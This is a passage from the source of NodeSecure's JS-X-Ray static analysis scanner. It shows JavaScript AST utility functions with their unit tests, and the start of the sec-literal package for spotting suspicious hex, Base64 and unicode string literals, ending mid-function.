1 | export * from "./getMemberExpressionIdentifier.js";
2 | export * from "./getCallExpressionIdentifier.js";
3 | export * from "./getVariableDeclarationIdentifiers.js";
4 | export * from "./getCallExpressionArguments.js";
5 | export * from "./concatBinaryExpression.js";
6 | export * from "./arrayExpressionToString.js";
7 | export * from "./isLiteralRegex.js";
8 | export * from "./extractLogicalExpression.js";
9 |
10 | export * from "./utils/VariableTracer.js";
11 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/src/isLiteralRegex.js:
--------------------------------------------------------------------------------
1 | export function isLiteralRegex(node) {
2 | return node.type === "Literal" && "regex" in node;
3 | }
4 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/src/utils/VariableTracer.d.ts:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import EventEmitter from "node:events";
3 |
4 | export interface DataIdentifierOptions {
5 | /**
6 | * @default false
7 | */
8 | removeGlobalIdentifier?: boolean;
9 | }
10 |
11 | declare class VariableTracer extends EventEmitter {
12 | static AssignmentEvent: Symbol;
13 |
14 | literalIdentifiers: Map;
15 | importedModules: Set;
16 |
17 | enableDefaultTracing(): VariableTracer;
18 | debug(): void;
19 | trace(identifierOrMemberExpr: string, options?: {
20 | followConsecutiveAssignment?: boolean;
21 | moduleName?: string;
22 | name?: string;
23 | }): VariableTracer;
24 | removeGlobalIdentifier(identifierOrMemberExpr: string): string;
25 | getDataFromIdentifier(identifierOrMemberExpr: string, options: DataIdentifierOptions): null | {
26 | name: string;
27 | identifierOrMemberExpr: string;
28 | assignmentMemory: string[];
29 | };
30 | walk(node: any): void;
31 | }
32 |
33 | export {
34 | VariableTracer
35 | }
36 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/src/utils/getSubMemberExpressionSegments.js:
--------------------------------------------------------------------------------
1 | /**
2 | * @param {!string} str
3 | * @returns {IterableIterator}
4 | */
5 | export function* getSubMemberExpressionSegments(memberExpressionFullpath) {
6 | const identifiers = memberExpressionFullpath.split(".");
7 | const segments = [];
8 |
9 | for (let i = 0; i < identifiers.length - 1; i++) {
10 | segments.push(identifiers[i]);
11 | yield segments.join(".");
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/src/utils/index.js:
--------------------------------------------------------------------------------
1 | export * from "./getSubMemberExpressionSegments.js";
2 | export * from "./notNullOrUndefined.js";
3 | export * from "./VariableTracer.js";
4 | export * from "./isEvilIdentifierPath.js";
5 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/src/utils/isEvilIdentifierPath.js:
--------------------------------------------------------------------------------
1 | /**
2 | * @param {!string} identifier
3 | */
4 | export function isEvilIdentifierPath(identifier) {
5 | return isFunctionPrototype(identifier);
6 | }
7 |
8 | export function isNeutralCallable(identifier) {
9 | return identifier === "Function.prototype.call";
10 | }
11 |
12 | /**
13 | * @param {!string} identifier
14 | */
15 | function isFunctionPrototype(identifier) {
16 | return identifier.startsWith("Function.prototype")
17 | && /call|apply|bind/i.test(identifier);
18 | }
19 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/src/utils/notNullOrUndefined.js:
--------------------------------------------------------------------------------
1 | export function notNullOrUndefined(value) {
2 | return value !== null && value !== void 0;
3 | }
4 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/test/arrayExpressionToString.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Third-party Dependencies
6 | import { IteratorMatcher } from "iterator-matcher";
7 |
8 | // Import Internal Dependencies
9 | import { arrayExpressionToString } from "../src/index.js";
10 | import { codeToAst, getExpressionFromStatement, createTracer } from "./utils.js";
11 |
12 | test("given an ArrayExpression with two Literals then the iterable must return them one by one", () => {
13 | const [astNode] = codeToAst("['foo', 'bar']");
14 | const iter = arrayExpressionToString(getExpressionFromStatement(astNode));
15 |
16 | const iterResult = new IteratorMatcher()
17 | .expect("foo")
18 | .expect("bar")
19 | .execute(iter, { allowNoMatchingValues: false });
20 |
21 | assert.strictEqual(iterResult.isMatching, true);
22 | assert.strictEqual(iterResult.elapsedSteps, 2);
23 | });
24 |
25 | test("given an ArrayExpression with two Identifiers then the iterable must return value from the Tracer", () => {
26 | const { tracer } = createTracer();
27 | tracer.literalIdentifiers.set("foo", "1");
28 | tracer.literalIdentifiers.set("bar", "2");
29 |
30 | const [astNode] = codeToAst("[foo, bar]");
31 | const iter = arrayExpressionToString(getExpressionFromStatement(astNode), { tracer });
32 |
33 | const iterResult = new IteratorMatcher()
34 | .expect("1")
35 | .expect("2")
36 | .execute(iter, { allowNoMatchingValues: false });
37 |
38 | assert.strictEqual(iterResult.isMatching, true);
39 | assert.strictEqual(iterResult.elapsedSteps, 2);
40 | });
41 |
42 | test(`given an ArrayExpression with two numbers
43 | then the function must convert them as char code
44 | and return them in the iterable`, () => {
45 | const [astNode] = codeToAst("[65, 66]");
46 | const iter = arrayExpressionToString(getExpressionFromStatement(astNode));
47 |
48 | const iterResult = new IteratorMatcher()
49 | .expect("A")
50 | .expect("B")
51 | .execute(iter, { allowNoMatchingValues: false });
52 |
53 | assert.strictEqual(iterResult.isMatching, true);
54 | assert.strictEqual(iterResult.elapsedSteps, 2);
55 | });
56 |
57 | test("given an ArrayExpression with empty Literals then the iterable must return no values", () => {
58 | const [astNode] = codeToAst("['', '']");
59 | const iter = arrayExpressionToString(getExpressionFromStatement(astNode));
60 |
61 | const iterResult = [...iter];
62 |
63 | assert.strictEqual(iterResult.length, 0);
64 | });
65 |
66 | test("given an AST that is not an ArrayExpression then it must return immediately", () => {
67 | const [astNode] = codeToAst("const foo = 5;");
68 | const iter = arrayExpressionToString(astNode);
69 |
70 | const iterResult = [...iter];
71 |
72 | assert.strictEqual(iterResult.length, 0);
73 | });
74 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/test/concatBinaryExpression.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Third-party Dependencies
6 | import { IteratorMatcher } from "iterator-matcher";
7 |
8 | // Import Internal Dependencies
9 | import { concatBinaryExpression } from "../src/index.js";
10 | import { codeToAst, getExpressionFromStatement, createTracer } from "./utils.js";
11 |
12 | test("given a BinaryExpression of two literals then the iterable must return Literal values", () => {
13 | const [astNode] = codeToAst("'foo' + 'bar' + 'xd'");
14 | const iter = concatBinaryExpression(getExpressionFromStatement(astNode));
15 |
16 | const iterResult = new IteratorMatcher()
17 | .expect("foo")
18 | .expect("bar")
19 | .expect("xd")
20 | .execute(iter, { allowNoMatchingValues: false });
21 |
22 | assert.strictEqual(iterResult.isMatching, true);
23 | assert.strictEqual(iterResult.elapsedSteps, 3);
24 | });
25 |
26 | test("given a BinaryExpression of two ArrayExpression then the iterable must return Array values as string", () => {
27 | const [astNode] = codeToAst("['A'] + ['B']");
28 | const iter = concatBinaryExpression(getExpressionFromStatement(astNode));
29 |
30 | const iterResult = new IteratorMatcher()
31 | .expect("A")
32 | .expect("B")
33 | .execute(iter, { allowNoMatchingValues: false });
34 |
35 | assert.strictEqual(iterResult.isMatching, true);
36 | assert.strictEqual(iterResult.elapsedSteps, 2);
37 | });
38 |
39 | test("given a BinaryExpression of two Identifiers then the iterable must the tracer values", () => {
40 | const { tracer } = createTracer();
41 | tracer.literalIdentifiers.set("foo", "A");
42 | tracer.literalIdentifiers.set("bar", "B");
43 |
44 | const [astNode] = codeToAst("foo + bar");
45 | const iter = concatBinaryExpression(getExpressionFromStatement(astNode), { tracer });
46 |
47 | const iterResult = new IteratorMatcher()
48 | .expect("A")
49 | .expect("B")
50 | .execute(iter, { allowNoMatchingValues: false });
51 |
52 | assert.strictEqual(iterResult.isMatching, true);
53 | assert.strictEqual(iterResult.elapsedSteps, 2);
54 | });
55 |
56 | test("given a one level BinaryExpression with an unsupported node it should throw an Error", () => {
57 | const { tracer } = createTracer();
58 |
59 | const [astNode] = codeToAst("evil() + 's'");
60 | try {
61 | const iter = concatBinaryExpression(getExpressionFromStatement(astNode), {
62 | tracer,
63 | stopOnUnsupportedNode: true
64 | });
65 | iter.next();
66 | }
67 | catch (error) {
68 | assert.strictEqual(error.message, "concatBinaryExpression:: Unsupported node detected");
69 | }
70 | });
71 |
72 | test("given a Deep BinaryExpression with an unsupported node it should throw an Error", () => {
73 | const { tracer } = createTracer();
74 |
75 | const [astNode] = codeToAst("'a' + evil() + 's'");
76 | try {
77 | const iter = concatBinaryExpression(getExpressionFromStatement(astNode), {
78 | tracer,
79 | stopOnUnsupportedNode: true
80 | });
81 | iter.next();
82 | }
83 | catch (error) {
84 | assert.strictEqual(error.message, "concatBinaryExpression:: Unsupported node detected");
85 | }
86 | });
87 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/test/extractLogicalExpression.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { extractLogicalExpression } from "../src/index.js";
7 | import { codeToAst, getExpressionFromStatement } from "./utils.js";
8 |
9 | test("it should extract two Nodes from a LogicalExpression with two operands", () => {
10 | const [astNode] = codeToAst("5 || 10");
11 | const iter = extractLogicalExpression(
12 | getExpressionFromStatement(astNode)
13 | );
14 |
15 | const iterResult = [...iter];
16 | assert.strictEqual(iterResult.length, 2);
17 |
18 | assert.strictEqual(iterResult[0].operator, "||");
19 | assert.strictEqual(iterResult[0].node.type, "Literal");
20 | assert.strictEqual(iterResult[0].node.value, 5);
21 |
22 | assert.strictEqual(iterResult[1].operator, "||");
23 | assert.strictEqual(iterResult[1].node.type, "Literal");
24 | assert.strictEqual(iterResult[1].node.value, 10);
25 | });
26 |
27 | test("it should extract all nodes and add up all Literal values", () => {
28 | const [astNode] = codeToAst("5 || 10 || 15 || 20");
29 | const iter = extractLogicalExpression(
30 | getExpressionFromStatement(astNode)
31 | );
32 |
33 | const total = [...iter]
34 | .reduce((previous, { node }) => previous + node.value, 0);
35 | assert.strictEqual(total, 50);
36 | });
37 |
38 | test("it should extract all Nodes but with different operators and a LogicalExpr on the right", () => {
39 | const [astNode] = codeToAst("5 || 10 && 55");
40 | const iter = extractLogicalExpression(
41 | getExpressionFromStatement(astNode)
42 | );
43 |
44 | const operators = new Set(
45 | [...iter].map(({ operator }) => operator)
46 | );
47 | assert.deepEqual([...operators], ["||", "&&"]);
48 | });
49 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/test/getCallExpressionIdentifier.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { getCallExpressionIdentifier } from "../src/index.js";
7 | import { codeToAst, getExpressionFromStatement } from "./utils.js";
8 |
9 | test("given a JavaScript eval CallExpression then it must return eval", () => {
10 | const [astNode] = codeToAst("eval(\"this\");");
11 | const nodeIdentifier = getCallExpressionIdentifier(getExpressionFromStatement(astNode));
12 |
13 | assert.strictEqual(nodeIdentifier, "eval");
14 | });
15 |
16 | test("given a Function(`...`)() Double CallExpression then it must return the Function literal identifier", () => {
17 | const [astNode] = codeToAst("Function(\"return this\")();");
18 | const nodeIdentifier = getCallExpressionIdentifier(getExpressionFromStatement(astNode));
19 |
20 | assert.strictEqual(nodeIdentifier, "Function");
21 | });
22 |
23 | test(`given a Function("...")() Double CallExpression with resolveCallExpression options disabled
24 | then it must return null`, () => {
25 | const [astNode] = codeToAst("Function(\"return this\")();");
26 | const nodeIdentifier = getCallExpressionIdentifier(
27 | getExpressionFromStatement(astNode),
28 | { resolveCallExpression: false }
29 | );
30 |
31 | assert.strictEqual(nodeIdentifier, null);
32 | });
33 |
34 | test("given a JavaScript AssignmentExpression then it must return null", () => {
35 | const [astNode] = codeToAst("foo = 10;");
36 | const nodeIdentifier = getCallExpressionIdentifier(getExpressionFromStatement(astNode));
37 |
38 | assert.strictEqual(nodeIdentifier, null);
39 | });
40 |
41 | test(`given a require statement immediatly invoked with resolveCallExpression options enabled
42 | then it must return require literal identifier`, () => {
43 | const [astNode] = codeToAst("require('foo')();");
44 | const nodeIdentifier = getCallExpressionIdentifier(
45 | getExpressionFromStatement(astNode),
46 | { resolveCallExpression: true }
47 | );
48 |
49 | assert.strictEqual(nodeIdentifier, "require");
50 | });
51 |
52 | test(`given a require statement immediatly invoked with resolveCallExpression options disabled
53 | then it must return null`, () => {
54 | const [astNode] = codeToAst("require('foo')();");
55 | const nodeIdentifier = getCallExpressionIdentifier(
56 | getExpressionFromStatement(astNode),
57 | { resolveCallExpression: false }
58 | );
59 |
60 | assert.strictEqual(nodeIdentifier, null);
61 | });
62 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/test/getMemberExpressionIdentifier.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Third-party Dependencies
6 | import { IteratorMatcher } from "iterator-matcher";
7 |
8 | // Import Internal Dependencies
9 | import { getMemberExpressionIdentifier } from "../src/index.js";
10 | import { codeToAst, createTracer, getExpressionFromStatement } from "./utils.js";
11 |
12 | test("it must return all literals part of the given MemberExpression", () => {
13 | const [astNode] = codeToAst("foo.bar.xd");
14 | const iter = getMemberExpressionIdentifier(
15 | getExpressionFromStatement(astNode)
16 | );
17 |
18 | const iterResult = new IteratorMatcher()
19 | .expect("foo")
20 | .expect("bar")
21 | .expect("xd")
22 | .execute(iter, { allowNoMatchingValues: false });
23 |
24 | assert.strictEqual(iterResult.isMatching, true);
25 | assert.strictEqual(iterResult.elapsedSteps, 3);
26 | });
27 |
28 | test("it must return all computed properties of the given MemberExpression", () => {
29 | const [astNode] = codeToAst("foo['bar']['xd']");
30 | const iter = getMemberExpressionIdentifier(
31 | getExpressionFromStatement(astNode)
32 | );
33 |
34 | const iterResult = new IteratorMatcher()
35 | .expect("foo")
36 | .expect("bar")
37 | .expect("xd")
38 | .execute(iter, { allowNoMatchingValues: false });
39 |
40 | assert.strictEqual(iterResult.isMatching, true);
41 | assert.strictEqual(iterResult.elapsedSteps, 3);
42 | });
43 |
44 | test(`given a MemberExpression with a computed property containing a deep tree of BinaryExpression
45 | then it must return all literals parts even the last one which is the concatenation of the BinaryExpr`, () => {
46 | const [astNode] = codeToAst("foo.bar[\"k\" + \"e\" + \"y\"]");
47 | const iter = getMemberExpressionIdentifier(
48 | getExpressionFromStatement(astNode)
49 | );
50 |
51 | const iterResult = new IteratorMatcher()
52 | .expect("foo")
53 | .expect("bar")
54 | .expect("key")
55 | .execute(iter, { allowNoMatchingValues: false });
56 |
57 | assert.strictEqual(iterResult.isMatching, true);
58 | assert.strictEqual(iterResult.elapsedSteps, 3);
59 | });
60 |
61 | test(`given a MemberExpression with computed properties containing identifiers
62 | then it must return all literals values from the tracer`, () => {
63 | const { tracer } = createTracer();
64 | tracer.literalIdentifiers.set("foo", "hello");
65 | tracer.literalIdentifiers.set("yo", "bar");
66 |
67 | const [astNode] = codeToAst("hey[foo][yo]");
68 | const iter = getMemberExpressionIdentifier(
69 | getExpressionFromStatement(astNode), { tracer }
70 | );
71 |
72 | const iterResult = new IteratorMatcher()
73 | .expect("hey")
74 | .expect("hello")
75 | .expect("bar")
76 | .execute(iter, { allowNoMatchingValues: false });
77 |
78 | assert.strictEqual(iterResult.isMatching, true);
79 | assert.strictEqual(iterResult.elapsedSteps, 3);
80 | });
81 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/test/isLiteralRegex.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { isLiteralRegex } from "../src/index.js";
7 | import { codeToAst, getExpressionFromStatement } from "./utils.js";
8 |
9 | test("given a Literal Regex Node it should return true", () => {
10 | const [astNode] = codeToAst("/^a/g");
11 | const isLRegex = isLiteralRegex(getExpressionFromStatement(astNode));
12 |
13 | assert.strictEqual(isLRegex, true);
14 | });
15 |
16 | test("given a RegexObject Node it should return false", () => {
17 | const [astNode] = codeToAst("new RegExp('^hello')");
18 | const isLRegex = isLiteralRegex(getExpressionFromStatement(astNode));
19 |
20 | assert.strictEqual(isLRegex, false);
21 | });
22 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/test/utils.js:
--------------------------------------------------------------------------------
1 | // Import Third-party Dependencies
2 | import * as meriyah from "meriyah";
3 | import { walk } from "estree-walker";
4 |
5 | // Import Internal Dependencies
6 | import { VariableTracer } from "../src/index.js";
7 |
8 | export function codeToAst(code) {
9 | const estreeRootNode = meriyah.parseScript(code, {
10 | next: true,
11 | loc: true,
12 | raw: true,
13 | module: true,
14 | globalReturn: false
15 | });
16 |
17 | return estreeRootNode.body;
18 | }
19 |
20 | export function getExpressionFromStatement(node) {
21 | return node.type === "ExpressionStatement" ? node.expression : null;
22 | }
23 |
24 | export function createTracer(enableDefaultTracing = false) {
25 | const tracer = new VariableTracer();
26 | if (enableDefaultTracing) {
27 | tracer.enableDefaultTracing();
28 | }
29 |
30 | return {
31 | tracer,
32 | walkOnAst(astNode) {
33 | walk(astNode, {
34 | enter(node) {
35 | tracer.walk(node);
36 | }
37 | });
38 | },
39 | /**
40 | * @param {!string} codeStr
41 | * @param {object} [options]
42 | * @param {boolean} [options.debugAst=false]
43 | * @returns {void}
44 | */
45 | walkOnCode(codeStr, options = {}) {
46 | const { debugAst = false } = options;
47 |
48 | const astNode = codeToAst(codeStr);
49 | if (debugAst) {
50 | console.log(JSON.stringify(astNode, null, 2));
51 | }
52 |
53 | this.walkOnAst(astNode);
54 | },
55 | getAssignmentArray(event = VariableTracer.AssignmentEvent) {
56 | const assignmentEvents = [];
57 | tracer.on(event, (value) => assignmentEvents.push(value));
58 |
59 | return assignmentEvents;
60 | }
61 | };
62 | }
63 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/test/utils/getSubMemberExpressionSegments.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Third-party Dependencies
6 | import { IteratorMatcher } from "iterator-matcher";
7 |
8 | // Import Internal Dependencies
9 | import { getSubMemberExpressionSegments } from "../../src/utils/index.js";
10 |
11 | test("given a MemberExpression then it should return each segments (except the last one)", () => {
12 | const iter = getSubMemberExpressionSegments("foo.bar.xd");
13 |
14 | const iterResult = new IteratorMatcher()
15 | .expect("foo")
16 | .expect("foo.bar")
17 | .execute(iter, { allowNoMatchingValues: false });
18 |
19 | assert.strictEqual(iterResult.isMatching, true);
20 | assert.strictEqual(iterResult.elapsedSteps, 2);
21 | });
22 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/test/utils/isEvilIdentifierPath.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { isEvilIdentifierPath } from "../../src/utils/index.js";
7 |
8 | test("given a random prototype method name then it should return false", () => {
9 | const result = isEvilIdentifierPath(
10 | "Function.prototype.foo"
11 | );
12 |
13 | assert.strictEqual(result, false);
14 | });
15 |
16 | test("given a list of evil identifiers it should always return true", () => {
17 | const evilIdentifiers = [
18 | "Function.prototype.bind",
19 | "Function.prototype.call",
20 | "Function.prototype.apply"
21 | ];
22 | for (const identifier of evilIdentifiers) {
23 | assert.strictEqual(isEvilIdentifierPath(identifier), true);
24 | }
25 | });
26 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/test/utils/notNullOrUndefined.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { notNullOrUndefined } from "../../src/utils/index.js";
7 |
8 | test("given a null or undefined primitive value then it must always return false", () => {
9 | assert.strictEqual(notNullOrUndefined(null), false, "null primitive value should return false");
10 | assert.strictEqual(notNullOrUndefined(void 0), false, "undefined primitive value should return false");
11 | });
12 |
13 | test("given values (primitive or objects) that are not null or undefined then it must always return true", () => {
14 | const valuesToAssert = ["", 1, true, Symbol("foo"), {}, [], /^xd/g];
15 | for (const value of valuesToAssert) {
16 | assert.strictEqual(notNullOrUndefined(value), true);
17 | }
18 | });
19 |
--------------------------------------------------------------------------------
/workspaces/sec-literal/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023-2024 NodeSecure
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/workspaces/sec-literal/README.md:
--------------------------------------------------------------------------------
1 | # Sec-literal
2 | [](https://www.npmjs.com/package/@nodesecure/sec-literal)
3 | [](https://github.com/NodeSecure/js-x-ray/blob/master/workspaces/sec-literal/graphs/commit-activity)
4 | [](https://api.securityscorecards.dev/projects/github.com/NodeSecure/js-x-ray)
6 | [](https://github.com/NodeSecure/js-x-ray/blob/master/workspaces/sec-literal/LICENSE)
7 | [](https://github.com/NodeSecure/js-x-ray/actions?query=workflow%3A%22sec+literal+CI%22)
8 |
9 | This package is a security utilities library created to analyze [ESTree Literal](https://github.com/estree/estree/blob/master/es5.md#literal) and JavaScript string primitive. This project was originally created to simplify and better test the functionalities required for the SAST Scanner [JS-X-Ray](https://github.com/fraxken/js-x-ray).
10 |
11 | ## Features
12 |
13 | - Detect Hexadecimal, Base64, Hexa and Unicode sequences.
14 | - Detect patterns (prefix, suffix) on groups of identifiers.
15 | - Detect suspicious string and return advanced metrics on it (char diversity etc).
16 |
17 | ## Getting Started
18 |
19 | This package is available in the Node Package Repository and can be easily installed with [npm](https://docs.npmjs.com/getting-started/what-is-npm) or [yarn](https://yarnpkg.com).
20 |
21 | ```bash
22 | $ npm i @nodesecure/sec-literal
23 | # or
24 | $ yarn add @nodesecure/sec-literal
25 | ```
26 |
27 | ## API
28 |
29 | ## Hex
30 |
31 | ### isHex(anyValue): boolean
32 | Detect if the given string is an Hexadecimal value
33 |
34 | ### isSafe(anyValue): boolean
35 | Detect if the given string is a safe Hexadecimal value. The goal of this method is to eliminate false-positive.
36 |
37 | ```js
38 | Hex.isSafe("1234"); // true
39 | Hex.isSafe("abcdef"); // true
40 | ```
41 |
42 | ## Literal
43 |
44 | ### isLiteral(anyValue): boolean
45 | ### toValue(anyValue): string
46 | ### toRaw(anyValue): string
47 | ### defaultAnalysis(literalValue)
48 |
49 | ## Utils
50 |
51 | ### isSvg(strValue): boolean
52 |
53 | ### isSvgPath(strValue): boolean
54 | Detect if a given string is a svg path or not.
55 |
56 | ### stringCharDiversity(str): number
57 | Get the number of unique chars in a given string
58 |
59 | ### stringSuspicionScore(str): number
60 | Analyze a given string an give it a suspicion score (higher than 1 or 2 mean that the string is highly suspect).
61 |
62 | ## Patterns
63 |
64 | ### commonStringPrefix(leftStr, rightStr): string | null
65 | ### commonStringSuffix(leftStr, rightStr): string | null
66 | ### commonHexadecimalPrefix(identifiersArray: string[])
67 |
68 | ## License
69 | MIT
70 |
--------------------------------------------------------------------------------
/workspaces/sec-literal/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "@nodesecure/sec-literal",
3 | "version": "1.2.0",
4 | "description": "Package created to analyze JavaScript literals",
5 | "exports": "./src/index.js",
6 | "private": false,
7 | "type": "module",
8 | "scripts": {
9 | "lint": "eslint src",
10 | "test-only": "node --test",
11 | "test": "npm run lint && npm run test-only"
12 | },
13 | "repository": {
14 | "type": "git",
15 | "url": "git+https://github.com/NodeSecure/js-x-ray.git"
16 | },
17 | "keywords": [
18 | "security",
19 | "literal",
20 | "estree",
21 | "analysis",
22 | "scanner"
23 | ],
24 | "files": [
25 | "src"
26 | ],
27 | "author": "GENTILHOMME Thomas ",
28 | "license": "MIT",
29 | "bugs": {
30 | "url": "https://github.com/NodeSecure/js-x-ray/issues"
31 | },
32 | "homepage": "https://github.com/NodeSecure/js-x-ray/tree/master/workspaces/sec-literal#readme",
33 | "dependencies": {
34 | "frequency-set": "^1.0.2",
35 | "is-base64": "^1.1.0",
36 | "is-svg": "^6.0.0",
37 | "string-width": "^7.0.0"
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/workspaces/sec-literal/src/hex.js:
--------------------------------------------------------------------------------
1 | // Import Internal Dependencies
2 | import * as Literal from "./literal.js";
3 | import * as Utils from "./utils.js";
4 |
5 | const kUnsafeHexValues = new Set([
6 | "require",
7 | "length"
8 | ].map((value) => Buffer.from(value).toString("hex")));
9 |
10 | // CONSTANTS
11 | const kSafeHexValues = new Set([
12 | "0123456789",
13 | "123456789",
14 | "abcdef",
15 | "abc123456789",
16 | "0123456789abcdef",
17 | "abcdef0123456789abcdef"
18 | ]);
19 |
20 | export const CONSTANTS = Object.freeze({
21 | SAFE_HEXA_VALUES: [...kSafeHexValues],
22 | UNSAFE_HEXA_VALUES: [...kUnsafeHexValues]
23 | });
24 |
25 | /**
26 | * @description detect if the given string is an Hexadecimal value
27 | * @param {SecLiteral.Literal | string} anyValue
28 | * @returns {boolean}
29 | */
30 | export function isHex(anyValue) {
31 | const value = Literal.toValue(anyValue);
32 |
33 | return typeof value === "string" && /^[0-9A-Fa-f]{4,}$/g.test(value);
34 | }
35 |
36 | /**
37 | * @description detect if the given string is a safe Hexadecimal value
38 | * @param {SecLiteral.Literal | string} anyValue
39 | * @returns {boolean}
40 | */
41 | export function isSafe(anyValue) {
42 | const rawValue = Literal.toRaw(anyValue);
43 | if (kUnsafeHexValues.has(rawValue)) {
44 | return false;
45 | }
46 |
47 | const charCount = Utils.stringCharDiversity(rawValue);
48 | if (/^([0-9]+|[a-z]+|[A-Z]+)$/g.test(rawValue) || rawValue.length <= 5 || charCount <= 2) {
49 | return true;
50 | }
51 |
52 | return [...kSafeHexValues].some((value) => rawValue.toLowerCase().startsWith(value));
53 | }
54 |
--------------------------------------------------------------------------------
/workspaces/sec-literal/src/index.js:
--------------------------------------------------------------------------------
1 | export * as Hex from "./hex.js";
2 | export * as Literal from "./literal.js";
3 | export * as Utils from "./utils.js";
4 | export * as Patterns from "./patterns.js";
5 |
--------------------------------------------------------------------------------
/workspaces/sec-literal/src/literal.js:
--------------------------------------------------------------------------------
1 | // Import Third-party Dependencies
2 | import isStringBase64 from "is-base64";
3 |
4 | /**
5 | * @param {SecLiteral.Literal | string} anyValue
6 | * @returns {string}
7 | */
8 | export function isLiteral(anyValue) {
9 | return typeof anyValue === "object" && "type" in anyValue && anyValue.type === "Literal";
10 | }
11 |
12 | /**
13 | * @param {SecLiteral.Literal | string} strOrLiteral
14 | * @returns {string}
15 | */
16 | export function toValue(strOrLiteral) {
17 | return isLiteral(strOrLiteral) ? strOrLiteral.value : strOrLiteral;
18 | }
19 |
20 | /**
21 | * @param {SecLiteral.Literal | string} strOrLiteral
22 | * @returns {string}
23 | */
24 | export function toRaw(strOrLiteral) {
25 | return isLiteral(strOrLiteral) ? strOrLiteral.raw : strOrLiteral;
26 | }
27 |
28 | /**
29 | * @param {!SecLiteral.Literal} literalValue
30 | * @returns {SecLiteral.LiteralDefaultAnalysis}
31 | */
32 | export function defaultAnalysis(literalValue) {
33 | if (!isLiteral(literalValue)) {
34 | return null;
35 | }
36 |
37 | const hasRawValue = "raw" in literalValue;
38 | const hasHexadecimalSequence = hasRawValue ? /\\x[a-fA-F0-9]{2}/g.exec(literalValue.raw) !== null : null;
39 | const hasUnicodeSequence = hasRawValue ? /\\u[a-fA-F0-9]{4}/g.exec(literalValue.raw) !== null : null;
40 | const isBase64 = isStringBase64(literalValue.value, { allowEmpty: false });
41 |
42 | return { hasHexadecimalSequence, hasUnicodeSequence, isBase64 };
43 | }
44 |
--------------------------------------------------------------------------------
/workspaces/sec-literal/src/patterns.js:
--------------------------------------------------------------------------------
1 | // Import Third-party Dependencies
2 | import FrequencySet from "frequency-set";
3 |
4 | // Import Internal Dependencies
5 | import * as Literal from "./literal.js";
6 |
7 | /**
8 | * @description get the common string prefix (at the start) pattern
9 | * @param {!string | SecLiteral} leftAnyValue
10 | * @param {!string | SecLiteral} rightAnyValue
11 | * @returns {string | null}
12 | *
13 | * @example
14 | * commonStringPrefix("boo", "foo"); // null
15 | * commonStringPrefix("bromance", "brother"); // "bro"
16 | */
17 | export function commonStringPrefix(leftAnyValue, rightAnyValue) {
18 | const leftStr = Literal.toValue(leftAnyValue);
19 | const rightStr = Literal.toValue(rightAnyValue);
20 |
21 | // The length of leftStr cannot be greater than that rightStr
22 | const minLen = leftStr.length > rightStr.length ? rightStr.length : leftStr.length;
23 | let commonStr = "";
24 |
25 | for (let id = 0; id < minLen; id++) {
